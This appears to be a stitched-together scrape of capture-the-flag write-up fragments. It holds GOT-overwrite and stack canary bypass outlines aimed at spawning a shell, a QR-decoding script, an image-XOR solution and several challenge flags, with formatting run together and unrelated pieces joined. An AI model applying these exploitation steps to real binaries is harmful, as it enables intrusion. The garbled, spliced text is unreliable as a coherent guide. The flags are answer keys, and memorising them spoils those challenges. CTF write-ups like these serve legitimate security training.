1.GOT of system <- main 2.GOT of snprintf <- system@plt 3.system('/bin/sh') [read more](http://note.taqini.space/#/ctf/ByteBanditsCTF-2020/?id=fmt-me)
<h1 align="center">Script</h1> <h3>Quick Run 75 points</h3> You gotta go fast! Download the files below: quick_run.zip ``` shellFor this challenge, i use python and zbarimg.``` ``` pythonimport osimport re flag = [] for i in range(31): number = os.popen("zbarimg -q "+str(i)+".png").read() flag.append(''.join(re.findall(r"[-+]?\d+", number)))print flag for code in flag: print "".join(chr(int(code))), # Flag: LLS{zbarimg_makes_qrcodes_easy}``` <h3>2xPAD 100 points</h3> The latest and greatest encryption scheme, “two-time pad” is twice as secure as one time pads. Check it out! Download the files below: encrypted_one.png and encrypted_two.png ``` shellFor this challenge, i use convert of imagemagick.convert encrypted_one.png encrypted_two.png -fx "((255-u)&v)|(u&(255-v))" flag_xor.png Flag: LLS{dont_reuse_your_keys}``` Return to the main menu Return to the main menu
1. modify `canary` in TLS 2. overwrite GOT of `stack_chk_fail` with `main` 3. leak `puts` 4. overwrite GOT of `stack_chk_fail` with `one gadget` [read more](http://note.taqini.space/#/ctf/ByteBanditsCTF-2020/?id=look-beyond)